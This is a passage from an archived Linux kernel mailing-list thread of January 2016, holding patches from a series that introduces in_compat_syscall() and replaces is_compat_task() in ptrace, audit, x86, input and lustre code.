+++ b/drivers/input/input-compat.h
@@ -17,17 +17,7 @@
 
 #ifdef CONFIG_COMPAT
 
-/* Note to the author of this code: did it ever occur to
-   you why the ifdefs are needed? Think about it again. -AK */
-#if defined(CONFIG_X86_64) || defined(CONFIG_TILE)
-#  define INPUT_COMPAT_TEST is_compat_task()
-#elif defined(CONFIG_S390)
-#  define INPUT_COMPAT_TEST test_thread_flag(TIF_31BIT)
-#elif defined(CONFIG_MIPS)
-#  define INPUT_COMPAT_TEST test_thread_flag(TIF_32BIT_ADDR)
-#else
-#  define INPUT_COMPAT_TEST test_thread_flag(TIF_32BIT)
-#endif
+#define INPUT_COMPAT_TEST in_compat_syscall()
 
 struct input_event_compat {
 	struct compat_timeval time;
-- 
2.5.0

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v2 00/16] compat: Introduce and use in_compat_syscall
Date: Mon, 25 Jan 2016 14:24:14 -0800
Lines: 74
Approved: news@gmane.org
Message-ID: <cover.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453760723 22043 80.91.229.3 (25 Jan 2016 22:25:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:25:23 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
        linux-arch <linux-arch@vger.kernel.org>,
        David Miller <davem@davemloft.net>,
        "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
        Chris Metcalf <cmetcalf@ezchip.com>,
        linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
        sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jan 25 23:25:14 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aNpZP-0004x5-JH
	for sgi-linux-mips@gmane.org; Mon, 25 Jan 2016 23:25:11 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:38484 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011565AbcAYWZJ4uY7U (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 25 Jan 2016 23:25:09 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 25 Jan 2016 23:24:55 +0100 (CET)
Original-Received: from mail.kernel.org ([198.145.29.136]:37145 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27011507AbcAYWYo2sbqP (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Mon, 25 Jan 2016 23:24:44 +0100
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
        by mail.kernel.org (Postfix) with ESMTP id 3B2FD20306;
        Mon, 25 Jan 2016 22:24:41 +0000 (UTC)
Original-Received: from localhost (199-83-221-254.PUBLIC.monkeybrains.net [199.83.221.254])
        (using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 6B3AB20303;
        Mon, 25 Jan 2016 22:24:40 +0000 (UTC)
X-Mailer: git-send-email 2.5.0
X-Virus-Scanned: ClamAV using ClamSMTP
X-archive-position: 51360
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: luto@kernel.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:52522 gmane.linux.kernel.cross-arch:30473 gmane.linux.ports.parisc:26435 gmane.linux.ports.sparc:22238
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/52522>

Linux distinguishes compat syscalls from normal syscalls in two ways.
First, compat syscalls use separate entry points.  This is entirely
sensible.  Second, code paths that are common to compat and non-compat
syscalls can query is_compat_task() to check whether they are being
called from a compat syscall or not.

The latter is problematic.  Two architectures explicitly allow tasks
to issue syscalls for which the task bitness and the syscall bitness
don't match.  On x86, is_compat_task returns true if the current
syscall is a compat syscall, which is a different condition from being
a compat task.  This oddity is confusing.  On SPARC, is_compat_task
does what it sounds like, which means that user programs can cause
is_compat_task to fail to match the syscall entry used.  That could
expose bugs.

This series introduces in_compat_syscall() as a new way to query the
syscall type.  On SPARC, it really does check the syscall bitness.
Later patches change all of the non arch-specific is_compat_task
callers to use in_compat_syscall.  The last patch removes
is_compat_task on x86, which will prevent this confusion from
recurring.

I've cc'd the maintainers of all archs that support compat.  If your
arch makes it possible for a malicious user process to invoke a compat
syscall in a nominally 64-bit task or vice versa and your arch is not
x86 or SPARC, please tell me.

Davem, can you check whether I handled SPARC correctly?

Andy Lutomirski (16):
  compat: Add in_compat_syscall to ask whether we're in a compat syscall
  sparc/compat: Provide an accurate in_compat_syscall implementation
  sparc/syscall: Fix syscall_get_arch
  seccomp: Check in_compat_syscall, not is_compat_task, in strict mode
  ptrace: in PEEK_SIGINFO, check syscall bitness, not task bitness
  auditsc: For seccomp events, log syscall compat state using
    in_compat_syscall
  staging/lustre: Switch from is_compat_task to in_compat_syscall
  ext4: In ext4_dir_llseek, check syscall bitness directly
  net/sctp: Use in_compat_syscall for sctp_getsockopt_connectx3
  net/xfrm_user: Use in_compat_syscall to deny compat syscalls
  firewire: Use in_compat_syscall to check ioctl compatness
  efivars: Use in_compat_syscall to check for compat callers
  amdkfd: Use in_compat_syscall to check open() caller type
  input: Redefine INPUT_COMPAT_TEST as in_compat_syscall()
  uhid: Check write() bitness using in_compat_syscall
  x86/compat: Remove is_compat_task

 arch/sparc/include/asm/compat.h                      |  6 ++++++
 arch/sparc/include/asm/syscall.h                     |  9 ++++++++-
 arch/x86/include/asm/compat.h                        |  3 ++-
 arch/x86/include/asm/ftrace.h                        |  2 +-
 arch/x86/kernel/process_64.c                         |  2 +-
 drivers/firewire/core-cdev.c                         |  4 ++--
 drivers/firmware/efi/efivars.c                       |  2 +-
 drivers/gpu/drm/amd/amdkfd/kfd_chardev.c             |  2 +-
 drivers/gpu/drm/amd/amdkfd/kfd_process.c             |  2 +-
 drivers/hid/uhid.c                                   |  2 +-
 drivers/input/input-compat.h                         | 12 +-----------
 drivers/staging/lustre/lustre/llite/llite_internal.h |  2 +-
 fs/ext4/dir.c                                        |  2 +-
 include/linux/compat.h                               | 15 +++++++++++++++
 kernel/auditsc.c                                     |  4 ++--
 kernel/ptrace.c                                      |  2 +-
 kernel/seccomp.c                                     |  4 ++--
 net/sctp/socket.c                                    |  2 +-
 net/xfrm/xfrm_user.c                                 |  2 +-
 19 files changed, 49 insertions(+), 30 deletions(-)

-- 
2.5.0




From - Thu Nov 08 21:38:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v2 05/16] ptrace: in PEEK_SIGINFO, check syscall bitness, not task bitness
Date: Mon, 25 Jan 2016 14:24:19 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <d1f58b0983fc85bf2440fdb86b186d9f214e03f7.1453759363.git.luto@kernel.org>
References: <cover.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453760809 23590 80.91.229.3 (25 Jan 2016 22:26:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:26:49 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
        linux-arch <linux-arch@vger.kernel.org>,
        David Miller <davem@davemloft.net>,
        "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
        Chris Metcalf <cmetcalf@ezchip.com>,
        linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
        sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jan 25 23:26:42 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aNpas-0005uo-AR
	for sgi-linux-mips@gmane.org; Mon, 25 Jan 2016 23:26:42 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:39530 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011531AbcAYW0hnI0TU (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 25 Jan 2016 23:26:37 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 25 Jan 2016 23:26:21 +0100 (CET)
Original-Received: from mail.kernel.org ([198.145.29.136]:37228 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27011539AbcAYWYtUJerI (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Mon, 25 Jan 2016 23:24:49 +0100
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
        by mail.kernel.org (Postfix) with ESMTP id E07C7203A4;
        Mon, 25 Jan 2016 22:24:46 +0000 (UTC)
Original-Received: from localhost (199-83-221-254.PUBLIC.monkeybrains.net [199.83.221.254])
        (using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 42296203A1;
        Mon, 25 Jan 2016 22:24:46 +0000 (UTC)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
Original-References: <cover.1453759363.git.luto@kernel.org>
X-Virus-Scanned: ClamAV using ClamSMTP
X-archive-position: 51365
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: luto@kernel.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:52524 gmane.linux.kernel.cross-arch:30474 gmane.linux.ports.parisc:26436 gmane.linux.ports.sparc:22239
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/52524>

Users of the 32-bit ptrace() ABI expect the full 32-bit ABI.
siginfo translation should check ptrace() ABI, not caller task ABI.

This is an ABI change on SPARC.  Let's hope that no one relied on
the old buggy ABI.

Signed-off-by: Andy Lutomirski <luto@kernel.org>
---
 kernel/ptrace.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 2341efe7fe02..c79b91d09e35 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -681,7 +681,7 @@ static int ptrace_peek_siginfo(struct task_struct *child,
 			break;
 
 #ifdef CONFIG_COMPAT
-		if (unlikely(is_compat_task())) {
+		if (unlikely(in_compat_syscall())) {
 			compat_siginfo_t __user *uinfo = compat_ptr(data);
 
 			if (copy_siginfo_to_user32(uinfo, &info) ||
-- 
2.5.0




From - Thu Nov 08 21:38:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v2 06/16] auditsc: For seccomp events, log syscall compat state using in_compat_syscall
Date: Mon, 25 Jan 2016 14:24:20 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <2c5ac9f83ad077d1f66c9e6469eb73274703f6d1.1453759363.git.luto@kernel.org>
References: <cover.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453760829 24135 80.91.229.3 (25 Jan 2016 22:27:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:27:09 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
        linux-arch <linux-arch@vger.kernel.org>,
        David Miller <davem@davemloft.net>,
        "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
        Chris Metcalf <cmetcalf@ezchip.com>,
        linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
        sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jan 25 23:26:58 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aNpb6-000644-FE
	for sgi-linux-mips@gmane.org; Mon, 25 Jan 2016 23:26:56 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:39682 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011595AbcAYW0y4Ig9U (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 25 Jan 2016 23:26:54 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 25 Jan 2016 23:26:40 +0100 (CET)
Original-Received: from mail.kernel.org ([198.145.29.136]:37263 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27011548AbcAYWYt1W40w (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Mon, 25 Jan 2016 23:24:49 +0100
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
        by mail.kernel.org (Postfix) with ESMTP id 0E1E9200BE;
        Mon, 25 Jan 2016 22:24:48 +0000 (UTC)
Original-Received: from localhost (199-83-221-254.PUBLIC.monkeybrains.net [199.83.221.254])
        (using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 5F9EF20303;
        Mon, 25 Jan 2016 22:24:47 +0000 (UTC)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
Original-References: <cover.1453759363.git.luto@kernel.org>
X-Virus-Scanned: ClamAV using ClamSMTP
X-archive-position: 51366
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: luto@kernel.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:52525 gmane.linux.kernel.cross-arch:30475 gmane.linux.ports.parisc:26437 gmane.linux.ports.sparc:22240
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/52525>

Except on SPARC, this is what the code always did.  SPARC compat
seccomp was buggy, although the impact of the bug was limited
because SPARC 32-bit and 64-bit syscall numbers are the same.

Signed-off-by: Andy Lutomirski <luto@kernel.org>
---
 kernel/auditsc.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/kernel/auditsc.c b/kernel/auditsc.c
index 195ffaee50b9..7d0e3cf8abe1 100644
--- a/kernel/auditsc.c
+++ b/kernel/auditsc.c
@@ -2412,8 +2412,8 @@ void __audit_seccomp(unsigned long syscall, long signr, int code)
 		return;
 	audit_log_task(ab);
 	audit_log_format(ab, " sig=%ld arch=%x syscall=%ld compat=%d ip=0x%lx code=0x%x",
-			 signr, syscall_get_arch(), syscall, is_compat_task(),
-			 KSTK_EIP(current), code);
+			 signr, syscall_get_arch(), syscall,
+			 in_compat_syscall(), KSTK_EIP(current), code);
 	audit_log_end(ab);
 }
 
-- 
2.5.0




From - Thu Nov 08 21:38:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.sparc
Subject: [PATCH v2 16/16] x86/compat: Remove is_compat_task
Date: Mon, 25 Jan 2016 14:24:30 -0800
Lines: 64
Approved: news@gmane.org
Message-ID: <c48a8336218fcd6e27a386d89afef155458f1551.1453759363.git.luto@kernel.org>
References: <cover.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453760831 24155 80.91.229.3 (25 Jan 2016 22:27:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:27:11 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
	Al Viro <viro@zeniv.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
	linux-arch <linux-arch@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
	sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 25 23:27:09 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aNpbI-00066L-Od
	for glpp-linux-parisc@plane.gmane.org; Mon, 25 Jan 2016 23:27:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933412AbcAYW1I (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Jan 2016 17:27:08 -0500
Original-Received: from mail.kernel.org ([198.145.29.136]:50078 "EHLO mail.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932984AbcAYWZA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Jan 2016 17:25:00 -0500
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
	by mail.kernel.org (Postfix) with ESMTP id D79D8203DF;
	Mon, 25 Jan 2016 22:24:58 +0000 (UTC)
Original-Received: from localhost (199-83-221-254.PUBLIC.monkeybrains.net [199.83.221.254])
	(using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by mail.kernel.org (Postfix) with ESMTPSA id 26A5C203DA;
	Mon, 25 Jan 2016 22:24:58 +0000 (UTC)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
Original-References: <cover.1453759363.git.luto@kernel.org>
X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on mail.kernel.org
X-Virus-Scanned: ClamAV using ClamSMTP
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26438 gmane.linux.kernel.cross-arch:30476 gmane.linux.ports.mips.general:52526 gmane.linux.ports.sparc:22241
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26438>

x86's is_compat_task always checked the current syscall type, not
the task type.  It has no non-arch users any more, so just remove it
to avoid confusion.

On x86, nothing should really be checking the task ABI.  There are
legitimate users for the syscall ABI and for the mm ABI.

Signed-off-by: Andy Lutomirski <luto@kernel.org>
---
 arch/x86/include/asm/compat.h | 3 ++-
 arch/x86/include/asm/ftrace.h | 2 +-
 arch/x86/kernel/process_64.c  | 2 +-
 3 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/arch/x86/include/asm/compat.h b/arch/x86/include/asm/compat.h
index acdee09228b3..ebb102e1bbc7 100644
--- a/arch/x86/include/asm/compat.h
+++ b/arch/x86/include/asm/compat.h
@@ -316,9 +316,10 @@ static inline bool is_x32_task(void)
 	return false;
 }
 
-static inline bool is_compat_task(void)
+static inline bool in_compat_syscall(void)
 {
 	return is_ia32_task() || is_x32_task();
 }
+#define in_compat_syscall in_compat_syscall	/* override the generic impl */
 
 #endif /* _ASM_X86_COMPAT_H */
diff --git a/arch/x86/include/asm/ftrace.h b/arch/x86/include/asm/ftrace.h
index 24938852db30..21b66dbf3601 100644
--- a/arch/x86/include/asm/ftrace.h
+++ b/arch/x86/include/asm/ftrace.h
@@ -58,7 +58,7 @@ int ftrace_int3_handler(struct pt_regs *regs);
 #define ARCH_TRACE_IGNORE_COMPAT_SYSCALLS 1
 static inline bool arch_trace_is_compat_syscall(struct pt_regs *regs)
 {
-	if (is_compat_task())
+	if (in_compat_syscall())
 		return true;
 	return false;
 }
diff --git a/arch/x86/kernel/process_64.c b/arch/x86/kernel/process_64.c
index b9d99e0f82c4..71a18a22ae2f 100644
--- a/arch/x86/kernel/process_64.c
+++ b/arch/x86/kernel/process_64.c
@@ -476,7 +476,7 @@ void set_personality_ia32(bool x32)
 		if (current->mm)
 			current->mm->context.ia32_compat = TIF_X32;
 		current->personality &= ~READ_IMPLIES_EXEC;
-		/* is_compat_task() uses the presence of the x32
+		/* in_compat_syscall() uses the presence of the x32
 		   syscall bit flag to determine compat status */
 		current_thread_info()->status &= ~TS_COMPAT;
 	} else {
-- 
2.5.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH v2 07/16] staging/lustre: Switch from is_compat_task to in_compat_syscall
Date: Mon, 25 Jan 2016 14:24:21 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <f9e0451f5867b0f7f6b4b6a225f76cc71fb66553.1453759363.git.luto@kernel.org>
References: <cover.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453760842 24263 80.91.229.3 (25 Jan 2016 22:27:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jan 2016 22:27:22 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Linus Torvalds <torvalds@linux-foundation.org>, x86@kernel.org,
        linux-arch <linux-arch@vger.kernel.org>,
        David Miller <davem@davemloft.net>,
        "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
        Chris Metcalf <cmetcalf@ezchip.com>,
        linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
        sparclinux@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jan 25 23:27:15 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aNpbN-0006FT-T3
	for sgi-linux-mips@gmane.org; Mon, 25 Jan 2016 23:27:13 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:39956 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011602AbcAYW1MIckiU (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 25 Jan 2016 23:27:12 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 25 Jan 2016 23:26:56 +0100 (CET)
Original-Received: from mail.kernel.org ([198.145.29.136]:37281 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27011535AbcAYWYu1zTE- (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Mon, 25 Jan 2016 23:24:50 +0100
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
        by mail.kernel.org (Postfix) with ESMTP id 1A63920256;
        Mon, 25 Jan 2016 22:24:49 +0000 (UTC)
Original-Received: from localhost (199-83-221-254.PUBLIC.monkeybrains.net [199.83.221.254])
        (using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 73FA420160;
        Mon, 25 Jan 2016 22:24:48 +0000 (UTC)
X-Mailer: git-send-email 2.5.0
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
In-Reply-To: <cover.1453759363.git.luto@kernel.org>
Original-References: <cover.1453759363.git.luto@kernel.org>
X-Virus-Scanned: ClamAV using ClamSMTP
X-archive-position: 51367
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: luto@kernel.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:52527 gmane.linux.kernel.cross-arch:30477 gmane.linux.ports.parisc:26439 gmane.linux.ports.sparc:22242
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/52527>

AFAICT, lustre is trying to determine syscall bitness.  Use the new
accessor.

Signed-off-by: Andy Lutomirski <luto@kernel.org>
---
 drivers/staging/lustre/lustre/llite/llite_internal.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/staging/lustre/lustre/llite/llite_internal.h b/drivers/staging/lustre/lustre/llite/llite_internal.h
index 845e992ca5fc..373470410e05 100644
--- a/drivers/staging/lustre/lustre/llite/llite_internal.h
+++ b/drivers/staging/lustre/lustre/llite/llite_internal.h
